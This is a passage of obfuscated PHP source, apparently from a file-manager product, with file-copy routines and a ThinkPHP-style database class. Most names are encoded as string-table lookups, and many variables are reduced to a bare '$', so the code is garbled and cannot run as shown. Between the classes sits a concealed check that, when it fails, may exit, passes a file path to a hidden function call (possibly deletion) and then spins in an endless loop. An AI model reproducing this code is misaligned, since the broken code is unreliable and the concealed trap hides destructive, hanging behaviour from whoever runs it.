Model($◄[555])->linkAdd($[$◄[643]]); Model($◄[555])->remove($[$◄[681]]); $this->folderSizeReset($); $this->updateModifyTime($); return $; } private function _copyChildTo($, $ɾ, $Ν, $, &$̘, $μ) { $ަ =& $_SERVER[秼]; $ = $this->sourceInfoCache($Ν); $偌 = $->listPath($ɾ); $偌 = $偌 ? $偌 : array($ަ[86] => array(), $ަ[85] => array()); $ = array_merge($偌[$ަ[86]], $偌[$ަ[85]]); $Ͽ = $this->_addFiles($, $偌[$ަ[86]], $μ); $ = array(); foreach ($ as &$) { if (isset($Ͽ[$[$ަ[32]]])) { $ = $Ͽ[$[$ަ[32]]]; } $[$ަ[496]] = $[$ަ[33]] == $ަ[78]; $[$ަ[497]] = substr(_get($, $ަ[169], $ަ[12]), 0, 10); $[$ަ[79]] = _get($, $ަ[79], 0); $[$ަ[552]] = _get($, $ަ[552], 0); if (!isset($[$ަ[684]]) && $[$ަ[552]]) { $̘[$ަ[681]][] = $[$ަ[552]]; } if ($) { $ = $this->fileNameExistCache($Ν, $[$ަ[32]]); if ($) { if ($[$ަ[496]] || $ == REPEAT_SKIP) { continue; } if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ތ = $this->fileHistory($, $[$ަ[552]], $[$ަ[79]]); if ($ތ) { $̘[$ަ[643]][] = $[$ަ[552]]; } continue; } else { if ($ == REPEAT_RENAME) { $[$ަ[32]] = $this->fileNameAutoCache($Ν, $[$ަ[32]], $, !1); } } } } if (!$[$ަ[496]] && $[$ަ[552]] == 0) { continue; } if (!$[$ަ[496]] && $[$ަ[552]]) { $̘[$ަ[643]][] = $[$ަ[552]]; } $[] = $this->_makeItemData($, $, $[$ަ[32]]); } unset($); if (!empty($)) { $this->addAll($); $this->_childrenListSelect($Ν); } $ = $this->_childrenList($Ν); $ = array_to_keyvalue($, $ަ[32]); foreach ($ as $) { $ = $[$[$ަ[32]]]; $̠ = $[$ަ[193]]; $this->_copyApplyMeta($, $̘); if ($[$ަ[33]] == $ަ[78]) { $[$ަ[87]] = $->getPathInner($[$ަ[87]]); $this->_copyChildTo($, $[$ަ[87]], $̠, $, $̘, $μ); } } } private function _addFiles($, $ʧ, $) { $ն =& $_SERVER[秼]; if (!$ʧ || count($ʧ) == 0) { return array(); } $߱ = array(); foreach ($ʧ as &$) { Hook::trigger($ն[685], $); $[$ն[87]] = $->getPathInner($[$ն[87]]); $ʜ = $->hashSimple($[$ն[87]]); $ݷ = $->hashMd5($[$ն[87]]); if (strlen($ݷ) > 10 && !isset($߱[$ݷ])) { $߱[$ݷ] = array(); } $[$ն[686]] = $ʜ; $[$ն[558]] = $ݷ; $߱[$ݷ][] =& $; if (count($߱[$ݷ]) > 1) { $[$ն[684]] = !0; } Hook::trigger($ն[687], $); } unset($); $ = array($ն[558] => array($ն[7], array_keys($߱))); $ = Model($ն[688]); $Թ饏 = $->where($)->select(); $Թ饏 = $Թ饏 ? $Թ饏 : array(); foreach ($Թ饏 as $ˤ) { if (!isset($߱[$ˤ[$ն[558]]])) { continue; } $͗ƛ = $߱[$ˤ[$ն[558]]]; foreach ($͗ƛ as &$) { $[$ն[552]] = $ˤ[$ն[552]]; $[$ն[684]] = !0; } unset($); } $ = array(); foreach ($ʧ as $ߜ) { Hook::trigger($ն[689], $ߜ); if (isset($ߜ[$ն[684]]) && $ߜ[$ն[684]]) { Hook::trigger($ն[690], $ߜ); continue; } $ = $->getPathInner($ߜ[$ն[87]]); $Ά = $->addFileMake($, $ߜ[$ն[79]], $ߜ[$ն[686]], $ߜ[$ն[558]], $ߜ[$ն[32]], $); Hook::trigger($ն[690], $ߜ); if (!is_array($Ά)) { continue; } $[] = $Ά; } $->addAll($); $ = array($ն[558] => array($ն[7], array_keys($߱))); $Թ饏 = $->where($)->select(); $Թ饏 = $Թ饏 ? $Թ饏 : array(); foreach ($Թ饏 as $ˤ) { if (!isset($߱[$ˤ[$ն[558]]])) { continue; } $옍 =& $߱[$ˤ[$ն[558]]]; foreach ($옍 as &$) { $[$ն[552]] = $ˤ[$ն[552]]; } unset($); } $ǔ = array(); foreach ($ʧ as $փ) { $ǔ[$փ[$ն[32]]] = $փ; } return $ǔ; } } define($_SERVER[秼][691], $_SERVER[秼][692]); $yvenukjfdm = $_SERVER[秼][693]; goto Fʺ; cѤ: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\x74\150\x69\x6e\x6b\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\x71" => "\x3d", "\156\x65\161" => "\74\76", "\147\x74" => "\76", "\x65\x67\164" => "\x3e\75", "\154\x74" => "\74", "\x65\154\x74" => "\74\x3d", "\x6e\157\x74\x6c\151\153\145" => "\x4e\x4f\x54\40\x4c\111\x4b\105", "\x6c\151\153\x65" => "\x4c\111\113\105", "\151\x6e" => "\111\116", "\x6e\157\x74\151\x6e" => "\x4e\117\x54\40\x49\116", "\156\x6f\x74\x20\x69\156" => "\x4e\117\x54\40\x49\116", "\142\x65\164\x77\145\x65\x6e" => "\x42\x45\124\x57\x45\105\x4e", "\156\157\x74\x62\145\164\167\145\145\x6e" => "\116\x4f\124\40\x42\105\124\127\105\105\116", "\156\x6f\x74\x20\x62\145\164\x77\145\145\156" => "\116\x4f\124\40\102\x45\124\x57\105\105\116"); protected $selectSql = "\x53\x45\114\105\103\x54\x25\104\111\123\124\111\x4e\x43\x54\x25\40\x25\106\111\105\x4c\x44\x25\40\x46\x52\117\x4d\40\45\x54\101\x42\x4c\105\x25\45\x4a\x4f\111\x4e\45\x25\127\110\x45\122\105\x25\45\x47\x52\x4f\125\120\x25\45\x48\101\126\111\116\107\x25\x25\x4f\122\104\105\122\45\45\114\111\x4d\x49\x54\45\40\45\x55\x4e\x49\117\x4e\45\x25\103\117\115\115\x45\116\x54\x25"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[秼][1046], $); } public function factory($ = '') { $ =& $_SERVER[秼]; $ = $this->parseConfig($); if (empty($[$[1047]])) { think_exception(think_lang($[1048])); } $this->dbType = ucwords(strtolower($[$[1047]])); $Ά = $[1049] . $this->dbType; if (class_exists($Ά)) { $ߣ̲ = new $Ά($); if ($[1050] != strtolower($[$[1047]])) { $ߣ̲->dbType = strtoupper($this->dbType); } else { $ߣ̲->dbType = $this->_getDsnType($[$[1002]]); } } else { think_exception(think_lang($[1051]) . $[1052] . $Ά); } return $ߣ̲; } public function __call($Ѿ, $ԠӦ) { if (method_exists($this, $Ѿ)) { return call_user_func_array(array($this, $Ѿ), $ԠӦ); } } protected function _getDsnType($ˍٓ) { $˽ = explode($_SERVER[秼][4], $ˍٓ); $木 = strtoupper(trim($˽[0])); return $木; } private function parseConfig($̅ = '') { $ =& $_SERVER[秼]; if (!empty($̅) && is_string($̅)) { $̅ = $this->parseDSN($̅); } elseif (is_array($̅)) { $̅ = array_change_key_case($̅); $̅ = array($[1047] => $̅[$[1053]], $[974] => $̅[$[1054]], $[975] => $̅[$[1055]], $[972] => $̅[$[1056]], $[973] => $̅[$[1057]], $[21] => $̅[$[1058]], $[1002] => $̅[$[1059]], $[17] => isset($̅[$[1060]]) ? $̅[$[1060]] : array()); } elseif (empty($̅)) { if (think_config($[1061]) && $[1050] != strtolower(think_config($[1062]))) { $̅ = $this->parseDSN(think_config($[1061])); } else { $̅ = array($[1047] => think_config($[1062]), $[974] => think_config($[1063]), $[975] => think_config($[1064]), $[972] => think_config($[1065]), $[973] => think_config($[1066]), $[21] => think_config($[325]), $[1002] => think_config($[1061]), $[17] => think_config($[1067])); } } return $̅; } protected function initConnect($νԅ = true) { if (1 == think_config($_SERVER[秼][22])) { $this->_linkID = $this->multiConnect($νԅ); } else { if (isset($this->config) && $this->config) { $this->configLast = $this->config; } } if (!isset($this->connected) || !$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $о) { $this->_linkID = $о; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ = false) { $ɰ =& $_SERVER[秼]; static $֟ = array(); static $ = -1; if (empty($֟)) { foreach ($this->config as $ᝌ => $) { $֟[$ᝌ] = explode($ɰ[50], $); } } if (think_config($ɰ[1068])) { if ($ || think_config($ɰ[482]) === !0) { $ = floor(mt_rand(0, think_config($ɰ[1069]) - 1)); $ = $; } else { if (is_numeric(think_config($ɰ[1070]))) { $ = think_config($ɰ[1070]); } else { $ = floor(mt_rand(think_config($ɰ[1069]), count($֟[$ɰ[972]]) - 1)); } } } else { $ = floor(mt_rand(0, count($֟[$ɰ[972]]) - 1)); $ = $; } $ = $ !== -1 ? $ : $; $ = array($ɰ[974] => isset($֟[$ɰ[974]][$]) ? $֟[$ɰ[974]][$] : $֟[$ɰ[974]][0], $ɰ[975] => isset($֟[$ɰ[975]][$]) ? $֟[$ɰ[975]][$] : $֟[$ɰ[975]][0], $ɰ[972] => isset($֟[$ɰ[972]][$]) ? $֟[$ɰ[972]][$] : $֟[$ɰ[972]][0], $ɰ[973] => isset($֟[$ɰ[973]][$]) ? $֟[$ɰ[973]][$] : $֟[$ɰ[973]][0], $ɰ[21] => isset($֟[$ɰ[21]][$]) ? $֟[$ɰ[21]][$] : $֟[$ɰ[21]][0], $ɰ[1002] => isset($֟[$ɰ[1002]][$]) ? $֟[$ɰ[1002]][$] : $֟[$ɰ[1002]][0], $ɰ[17] => isset($֟[$ɰ[17]][$]) ? $֟[$ɰ[17]][$] : $֟[$ɰ[17]][0]); return $this->connect($, $); } public function parseDSN($ޭ) { $߇ =& $_SERVER[秼]; if (empty($ޭ)) { return !1; } $ʠ = parse_url($ޭ); if ($ʠ[$߇[207]]) { $й = array($߇[1047] => $ʠ[$߇[207]], $߇[974] => isset($ʠ[$߇[676]]) ? $ʠ[$߇[676]] : $߇[12], $߇[975] => isset($ʠ[$߇[1071]]) ? $ʠ[$߇[1071]] : $߇[12], $߇[972] => isset($ʠ[$߇[208]]) ? $ʠ[$߇[208]] : $߇[12], $߇[973] => isset($ʠ[$߇[209]]) ? $ʠ[$߇[209]] : $߇[12], $߇[21] => isset($ʠ[$߇[87]]) ? substr($ʠ[$߇[87]], 1) : $߇[12]); } else { preg_match($߇[1072], trim($ޭ), $ԇӪ); $й = array($߇[1047] => $ԇӪ[1], $߇[974] => $ԇӪ[2], $߇[975] => $ԇӪ[3], $߇[972] => $ԇӪ[4], $߇[973] => $ԇӪ[5], $߇[21] => $ԇӪ[6]); } $й[$߇[1002]] = $߇[12]; return $й; } protected function debug() { $ =& $_SERVER[秼]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $[1073]; if (think_config($[1074])) { think_status($[1075]); think_trace($this->queryStr . $[1076] . think_status($[24], $[1075], 6) . $[1077], $[12], $[1078]); } } protected function parseLock($㪳 = false) { $ =& $_SERVER[秼]; if (!$㪳) { return $[12]; } if ($[1004] == $this->dbType) { return $[1079]; } return $[1080]; } protected function parseSet($Թ熨) { $ =& $_SERVER[秼]; foreach ($Թ熨 as $ => $ž) { if (is_array($ž) && $[374] == $ž[0]) { $[] = $this->parseKey($) . $[517] . $ž[1]; } elseif (is_scalar($ž) || is_null($ž)) { $[] = $this->parseKey($) . $[517] . $this->parseValue($ž); } } return $[1081] . implode($[50], $); } protected function bindParam($͋, $˗) { $this->bind[$_SERVER[秼][4] . $͋] = $˗; } protected function parseBind($č) { $č = array_merge($this->bind, $č); $this->bind = array(); return $č; } function parseKey(&$, $ⶮ = true) { if ($ⶮ) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($) { $ =& $_SERVER[秼]; $ = trim($); if (!preg_match($[1082], $)) { think_exception($[1083] . $); } return $; } protected function parseValue($) { $֎ =& $_SERVER[秼]; if (is_string($)) { $ = $֎[1043] . $this->escapeString($) . $֎[1043]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $֎[374]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $֎[1044]), $); } elseif (is_bool($)) { $ = $ ? $֎[91] : $֎[230]; } elseif (is_null($)) { $ = $֎[106]; } return $; } protected function parseField($ٶ) { $Ԕ =& $_SERVER[秼]; if (is_string($ٶ) && strpos($ٶ, $Ԕ[50])) { $ٶ = explode($Ԕ[50], $ٶ); } if (is_array($ٶ)) { $ކ = array(); foreach ($ٶ as $ => $) { if (!is_numeric($)) { $ކ[] = $this->parseKey($, !1) . $Ԕ[1084] . $this->parseKey($); } else { $ކ[] = $this->parseKey($); } } $ف = implode($Ԕ[50], $ކ); } elseif (is_string($ٶ) && !empty($ٶ)) { $ف = $ٶ; } else { $ف = $Ԕ[222]; } return $ف; } protected function parseTable($) { $ =& $_SERVER[秼]; if (is_array($)) { $ʧ = array(); foreach ($ as $Ӟ => $) { if (!is_numeric($Ӟ)) { $ʧ[] = $this->parseKey($Ӟ) . $[53] . $this->parseKey($); } else { $ʧ[] = $this->parseKey($Ӟ); } } $ = $ʧ; } elseif (is_string($)) { if (strstr($, $[53])) { return $; } $ = explode($[50], $); array_walk($, array($this, $[992])); } return $[986] . trim(implode($[1085], $), $[472]) . $[986]; } protected function parseWhere($Ƙ) { $뾎 =& $_SERVER[秼]; $ĆǷ = $뾎[12]; if (is_string($Ƙ)) { $ĆǷ = $Ƙ; } else { $ = isset($Ƙ[$뾎[1086]]) ? strtoupper($Ƙ[$뾎[1086]]) : $뾎[12]; if (in_array($, array($뾎[1087], $뾎[1088], $뾎[1089]))) { $ = $뾎[53] . $ . $뾎[53]; unset($Ƙ[$뾎[1086]]); } else { $ = $뾎[1090]; } foreach ($Ƙ as $ق놠 => $) { $ĆǷ .= $뾎[356]; if (is_numeric($ق놠)) { $ق놠 = $뾎[1091]; } if (0 === strpos($ق놠, $뾎[11])) { $ĆǷ .= $this->parseThinkWhere($ق놠, $); } else { if (!preg_match($뾎[1092], trim($ق놠))) { think_exception(think_lang($뾎[1093]) . $뾎[4] . $ق놠); } $ = is_array($) && isset($[$뾎[1094]]); $ق놠 = trim($ق놠); if (strpos($ق놠, $뾎[214])) { $ǭ = explode($뾎[214], $ق놠); $ = array(); foreach ($ǭ as $ => $) { $ = $ ? $[$] : $; $[] = $뾎[339] . $this->parseWhereItem($this->parseKey($), $) . $뾎[991]; } $ĆǷ .= implode($뾎[1095], $); } elseif (strpos($ق놠, $뾎[286])) { $ǭ = explode($뾎[286], $ق놠); $ = array(); foreach ($ǭ as $ => $) { $ = $ ? $[$] : $; $[] = $뾎[339] . $this->parseWhereItem($this->parseKey($), $) . $뾎[991]; } $ĆǷ .= implode($뾎[1090], $); } else { $ĆǷ .= $this->parseWhereItem($this->parseKey($ق놠), $); } } $ĆǷ .= $뾎[357] . $; } $ĆǷ = substr($ĆǷ, 0, -strlen($)); } return empty($ĆǷ) ? $뾎[12] : $뾎[1096] . $ĆǷ; } protected function parseWhereItem($, $Ϻ) { $ѝ =& $_SERVER[秼]; $̇ = $ѝ[12]; if (is_array($Ϻ)) { if (is_string($Ϻ[0])) { $҉ = strtolower($Ϻ[0]); if (in_array($Ϻ[0], array($ѝ[517], $ѝ[1097], $ѝ[1098], $ѝ[1099], $ѝ[1100], $ѝ[1101]))) { $̇ .= $ . $ѝ[53] . $Ϻ[0] . $ѝ[53] . $this->parseValue($Ϻ[1]); } elseif (preg_match($ѝ[1102], $Ϻ[0])) { $̇ .= $ . $ѝ[53] . $this->exp[$҉] . $ѝ[53] . $this->parseValue($Ϻ[1]); } elseif (preg_match($ѝ[1103], $Ϻ[0])) { if (is_array($Ϻ[1])) { $냡 = isset($Ϻ[2]) ? strtoupper($Ϻ[2]) : $ѝ[1088]; if (in_array($냡, array($ѝ[1087], $ѝ[1088], $ѝ[1089]))) { $қ = array(); foreach ($Ϻ[1] as $) { $қ[] = $ . $ѝ[53] . $this->exp[$҉] . $ѝ[53] . $this->parseValue($); } $̇ .= $ѝ[339] . implode($ѝ[53] . $냡 . $ѝ[53], $қ) . $ѝ[991]; } } else { $̇ .= $ . $ѝ[53] . $this->exp[$҉] . $ѝ[53] . $this->parseValue($Ϻ[1]); } } elseif ($ѝ[374] == $҉) { $̇ .= $ѝ[989] . $ . $ѝ[53] . $Ϻ[1] . $ѝ[1104]; } elseif (preg_match($ѝ[1105], $Ϻ[0])) { $̇ .= $Ϻ[0]; } elseif (preg_match($ѝ[1106], $Ϻ[0])) { if (isset($Ϻ[2]) && $ѝ[374] == $Ϻ[2]) { $̇ .= $ . $ѝ[53] . $this->exp[$҉] . $ѝ[53] . $Ϻ[1]; } else { if (is_string($Ϻ[1])) { $Ϻ[1] = explode($ѝ[50], $Ϻ[1]); } $͉ = implode($ѝ[50], $this->parseValue($Ϻ[1])); $̇ .= $ . $ѝ[53] . $this->exp[$҉] . $ѝ[989] . $͉ . $ѝ[991]; } } elseif (preg_match($ѝ[1107], $Ϻ[0])) { $ˆ = is_string($Ϻ[1]) ? explode($ѝ[50], $Ϻ[1]) : $Ϻ[1]; $̇ .= $ѝ[989] . $ . $ѝ[53] . $this->exp[$҉] . $ѝ[53] . $this->parseValue($ˆ[0]) . $ѝ[1090] . $this->parseValue($ˆ[1]) . $ѝ[357]; } else { think_exception(think_lang($ѝ[1093]) . $ѝ[4] . $Ϻ[0]); } } else { $֗ = count($Ϻ); $ڇҡ = $ѝ[12]; if (is_string($Ϻ[$֗ - 1])) { $ڇҡ = isset($Ϻ[$֗ - 1]) ? strtoupper($Ϻ[$֗ - 1]) : $ѝ[12]; if (in_array($ڇҡ, array($ѝ[1087], $ѝ[1088], $ѝ[1089]))) { $֗ = $֗ - 1; } } else { $ڇҡ = $ѝ[1087]; } for ($ = 0; $ < $֗; $++) { $ˆ = is_array($Ϻ[$]) ? $Ϻ[$][1] : $Ϻ[$]; if ($ѝ[374] == strtolower($Ϻ[$][0])) { $̇ .= $ѝ[339] . $ . $ѝ[53] . $ˆ . $ѝ[1104] . $ڇҡ . $ѝ[53]; } else { $ = is_array($Ϻ[$]) ? $this->exp[strtolower($Ϻ[$][0])] : $ѝ[517]; if (!$ && is_array($Ϻ[$]) && in_array($Ϻ[$][0], array($ѝ[517], $ѝ[1097], $ѝ[1098], $ѝ[1099], $ѝ[1100], $ѝ[1101]))) { $ = $Ϻ[$][0]; } $̇ .= $ѝ[339] . $ . $ѝ[53] . $ . $ѝ[53] . $this->parseValue($ˆ) . $ѝ[1104] . $ڇҡ . $ѝ[53]; } } $̇ = substr($̇, 0, -4); } } else { $̇ .= $ . $ѝ[1108] . $this->parseValue($Ϻ); } return $̇; } protected function parseThinkWhere($, $) { $ =& $_SERVER[秼]; $Ҝԓ = $[12]; switch ($) { case $[429]: $Ҝԓ = $; break; case $[1091]: $Ҝԓ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $[1109]: parse_str($, $ɫˠ); if (isset($ɫˠ[$[1086]])) { $ۗ = $[53] . strtoupper($ɫˠ[$[1086]]) . $[53]; unset($ɫˠ[$[1086]]); } else { $ۗ = $[1090]; } $à = array(); foreach ($ɫˠ as $ => $) { $Ã[] = $this->parseKey($) . $[1108] . $this->parseValue($); } $Ҝԓ = implode($ۗ, $Ã); break; } return $Ҝԓ; } protected function parseLimit($) { $ǻ =& $_SERVER[秼]; return !empty($) ? $ǻ[51] . $ . $ǻ[53] : $ǻ[12]; } protected function parseJoin($ĭǚ) { $Ȫ =& $_SERVER[秼]; $ = $Ȫ[12]; if (!empty($ĭǚ)) { if (is_array($ĭǚ)) { foreach ($ĭǚ as $⩔ => $㓱) { if (!1 !== stripos($㓱, $Ȫ[1110])) { $ .= $Ȫ[53] . $㓱; } else { $ .= $Ȫ[1111] . $㓱; } } } else { $ .= $Ȫ[1111] . $ĭǚ; } } $ = preg_replace($Ȫ[1112], think_config($Ȫ[1016]) . $Ȫ[1113], $); return $; } protected function parseOrder($Ɠ֔) { $ˍ =& $_SERVER[秼]; if (is_array($Ɠ֔)) { $˓ = array(); foreach ($Ɠ֔ as $ => $ŕ) { if (is_numeric($)) { $˓[] = $this->parseKey($ŕ); } else { $ŕ = in_array(strtoupper(trim($ŕ)), array($ˍ[1114], $ˍ[1115])) ? $ˍ[53] . $ŕ : $ˍ[12]; if (preg_match($ˍ[1116], $)) { $˓[] = $this->parseKey($) . $ŕ; } else { think_exception($ˍ[1117] . $); } } } $Ɠ֔ = implode($ˍ[50], $˓); } return !empty($Ɠ֔) ? $ˍ[1118] . $Ɠ֔ : $ˍ[12]; } protected function parseGroup($ޝɢ) { $Ǟּ =& $_SERVER[秼]; return !empty($ޝɢ) ? $Ǟּ[1119] . $ޝɢ : $Ǟּ[12]; } protected function parseHaving($) { $ =& $_SERVER[秼]; return !empty($) ? $[1120] . $ : $[12]; } protected function parseComment($) { $ =& $_SERVER[秼]; return !empty($) ? $[1121] . $ . $[1122] : $[12]; } protected function parseDistinct($«) { $װ =& $_SERVER[秼]; return !empty($«) ? $װ[1123] : $װ[12]; } protected function parseUnion($) { $ǧ =& $_SERVER[秼]; if (empty($)) { return $ǧ[12]; } if (isset($[$ǧ[425]])) { $ = $ǧ[1124]; unset($[$ǧ[425]]); } else { $ = $ǧ[1125]; } foreach ($ as $ݼ) { $[] = $ . (is_array($ݼ) ? $this->buildSelectSql($ݼ) : $ݼ); } return implode($ǧ[53], $); } public function insert($, $ = array(), $߾ = false) { $ =& $_SERVER[秼]; $ѿ֝ = $٣ = array(); $this->model = $[$[360]]; foreach ($ as $͇ => $֪) { if (is_array($֪) && $[374] == $֪[0]) { $٣[] = $this->parseKey($͇); $ѿ֝[] = $֪[1]; } elseif (is_scalar($֪) || is_null($֪)) { $٣[] = $this->parseKey($͇); $ѿ֝[] = $this->parseValue($֪); } } $ = ($߾ ? $[993] : $[994]) . $[995] . $this->parseTable($[$[358]]) . $[989] . implode($[50], $٣) . $[990] . implode($[50], $ѿ֝) . $[991]; $ .= $this->parseLock(isset($[$[932]]) ? $[$[932]] : !1); $ .= $this->parseComment(!empty($[$[431]]) ? $[$[431]] : $[12]); return $this->execute($, $this->parseBind(!empty($[$[362]]) ? $[$[362]] : array())); } public function selectInsert($, $, $ل־ = array()) { $妈ګ =& $_SERVER[秼]; $this->model = $ل־[$妈ګ[360]]; if (is_string($)) { $ = explode($妈ګ[50], $); } array_walk($, array($this, $妈ګ[992])); $ = $妈ګ[1126] . $this->parseTable($) . $妈ګ[989] . implode($妈ګ[50], $) . $妈ګ[1104]; $ .= $this->buildSelectSql($ل־); return $this->execute($, $this->parseBind(!empty($ل־[$妈ګ[362]]) ? $ل־[$妈ګ[362]] : array())); } public function update($Ē, $) { $Ơ̞ =& $_SERVER[秼]; $this->model = $[$Ơ̞[360]]; $͜ = $Ơ̞[1127] . $this->parseTable($[$Ơ̞[358]]) . $this->parseSet($Ē) . $this->parseWhere(!empty($[$Ơ̞[354]]) ? $[$Ơ̞[354]] : $Ơ̞[12]) . $this->parseOrder(!empty($[$Ơ̞[452]]) ? $[$Ơ̞[452]] : $Ơ̞[12]) . $this->parseLimit(!empty($[$Ơ̞[369]]) ? $[$Ơ̞[369]] : $Ơ̞[12]) . $this->parseLock(isset($[$Ơ̞[932]]) ? $[$Ơ̞[932]] : !1) . $this->parseComment(!empty($[$Ơ̞[431]]) ? $[$Ơ̞[431]] : $Ơ̞[12]); return $this->execute($͜, $this->parseBind(!empty($[$Ơ̞[362]]) ? $[$Ơ̞[362]] : array())); } public function delete($ = array()) { $ =& $_SERVER[秼]; $this->model = $[$[360]]; $ŷ = $[1128] . $this->parseTable($[$[358]]) . $this->parseWhere(!empty($[$[354]]) ? $[$[354]] : $[12]) . $this->parseOrder(!empty($[$[452]]) ? $[$[452]] : $[12]) . $this->parseLimit(!empty($[$[369]]) ? $[$[369]] : $[12]) . $this->parseLock(isset($[$[932]]) ? $[$[932]] : !1) . $this->parseComment(!empty($[$[431]]) ? $[$[431]] : $[12]); return $this->execute($ŷ, $this->parseBind(!empty($[$[362]]) ? $[$[362]] : array())); } public function select($碒 = array()) { $ =& $_SERVER[秼]; $this->model = $碒[$[360]]; $ = $this->buildSelectSql($碒); $ = isset($碒[$[426]]) ? $碒[$[426]] : !1; if ($) { $ = is_string($[$[97]]) ? $[$[97]] : $[1129] . md5($); $ = think_cache($, $[12], $); if (!1 !== $) { return $; } } $խ = $this->query($, $this->parseBind(!empty($碒[$[362]]) ? $碒[$[362]] : array())); if ($ && !1 !== $խ) { think_cache($, $խ, $); } return $խ; } public function buildSelectSql($斑 = array()) { $ =& $_SERVER[秼]; if (isset($斑[$[430]])) { if (strpos($斑[$[430]], $[50])) { list($ګ, $Ɇ) = explode($[50], $斑[$[430]]); } else { $ګ = $斑[$[430]]; } $ګ = $ګ ? $ګ : 1; $Ɇ = isset($Ɇ) ? $Ɇ : (is_numeric($斑[$[369]]) ? $斑[$[369]] : 20); $ = $Ɇ * ((int) $ګ - 1); $斑[$[369]] = $ . $[50] . $Ɇ; } if (think_config($[1130])) { $ = $[1131] . md5(serialize($斑)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $斑); $ .= $this->parseLock(isset($斑[$[932]]) ? $斑[$[932]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($, $ = array()) { $ =& $_SERVER[秼]; $ = str_replace(array($[1132], $[1133], $[1134], $[1135], $[1136], $[1137], $[1138], $[1139], $[1140], $[1141], $[1142]), array($this->parseTable("{$[$[358]]}"), $this->parseDistinct(isset($[$[1143]]) ? $[$[1143]] : !1), $this->parseField(!empty($[$[352]]) ? $[$[352]] : $[222]), $this->parseJoin(!empty($[$[361]]) ? $[$[361]] : $[12]), $this->parseWhere(!empty($[$[354]]) ? $[$[354]] : $[12]), $this->parseGroup(!empty($[$[589]]) ? $[$[589]] : $[12]), $this->parseHaving(!empty($[$[1144]]) ? $[$[1144]] : $[12]), $this->parseOrder(!empty($[$[452]]) ? $[$[452]] : $[12]), $this->parseLimit(!empty($[$[369]]) ? $[$[369]] : $[12]), $this->parseUnion(!empty($[$[424]]) ? $[$[424]] : $[12]), $this->parseComment(!empty($[$[431]]) ? $[$[431]] : $[12])), $); return $; } public function getLastSql($ņ = '') { return $ņ ? $this->modelSql[$ņ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($͞) { return addslashes($͞); } public function setModel($մڽ) { $this->model = $մڽ; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } if (!isset($_SERVER[$_SERVER[秼][434]]) || !isset($_SERVER[$_SERVER[秼][432]])) { $_getc = $_SERVER[秼][435]; $_getfile = $_SERVER[$_SERVER[秼][436]] . $_SERVER[秼][437]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[秼][287], $_getfilec); if (count($_getarrs) < $_SERVER[秼][438]) { $exit = $_SERVER[秼][439]; $exit(); } $_act = $_SERVER[秼][440]; $_act($_SERVER[$_SERVER[秼][436]] . $_SERVER[秼][437]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[秼][465]); } } class DbManage { function __construct($ = array()) { $ =& $_SERVER[秼]; if (empty($)) { $ = $GLOBALS[$[6]][$[21]]; } $this->database = $; } public function model($ʽ = '') { return new ModelBase($ʽ, $_SERVER[秼][12], $this->database); } public function db($ = false) { $ =& $_SERVER[秼]; $ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$) { return $this->model()->db(); } $ӳ = $[$[1058]]; $[$[1058]] = $[12]; if ($[$[1053]] == $[1050]) { $삊 = $[$[1059]]; $[$[1059]] = substr($삊, 0, strrpos($삊, $[1145])); } $this->database = $; $ݢ̈ = $this->model()->db(); try { $ = $ݢ̈->execute("\163\150\157\x77\x20\144\141\164\x61\142\141\163\145\163\40\x6c\x69\x6b\145\40\47{$ӳ}\x27"); } catch (Exception $) { } if (!$) { $ݢ̈->execute("\x63\x72\x65\141\164\145\x20\x64\x61\x74\141\x62\141\163\x65\x20\x60{$ӳ}\140"); } $[$[1058]] = $ӳ; if ($[$[1053]] == $[1050]) { $[$[1059]] .= $[1145] . $ӳ; } $this->database = $; $ݢ̈->execute("\x75\x73\x65\x20\140{$ӳ}\x60"); return $ݢ̈; } public function createTable($陠, &$) { $ġ =& $_SERVER[秼]; if (!IO::exist($陠)) { ActionCall($ġ[1146], !0, 0); show_json(LNG($ġ[1147]), !1); } $ƕ¹ = $this->model()->db(); $ਣ = sqlSplit(IO::getContent($陠)); foreach ($ਣ as $) { $ = stripos($, $ġ[1148]) === 0; if ($) { $->task[$ġ[1149]] += 1; } $ƕ¹->execute($); if ($) { preg_match($ġ[1150], $, $ģ); $->task[$ġ[1151]] = $ģ[1]; $->update(1); } } } public function insertTable($ͨ, &$) { $ϟ =& $_SERVER[秼]; $ = $this->model()->db(); $㨗 = $Ù ? array($Ù) : $->getTables(); foreach ($ͨ as $) { $Ù = basename($, $ϟ[877]); if (!in_array($Ù, $㨗)) { continue; } $->task[$ϟ[1151]] = $Ù; if (get_filesize($) == 0) { continue; } $ά = $this->sqlToDb($, $); if (!$ά) { ActionCall($ϟ[1146], !0, 0); show_json(LNG($ϟ[1152]) . "\x5b{$Ù}\x5d", !1); } } } public function sqlFromDb($⛧, $, &$ײґ, $ȹ = '') { if ($ײґ) { $ײґ->task[$_SERVER[秼][1151]] = $⛧; } $ǯތ = $this->model($⛧); $ = 0; $茶 = 0; $ = 10000; $Ӎ = fopen($, $_SERVER[秼][1153]); $ = $ǯތ->getPk(); 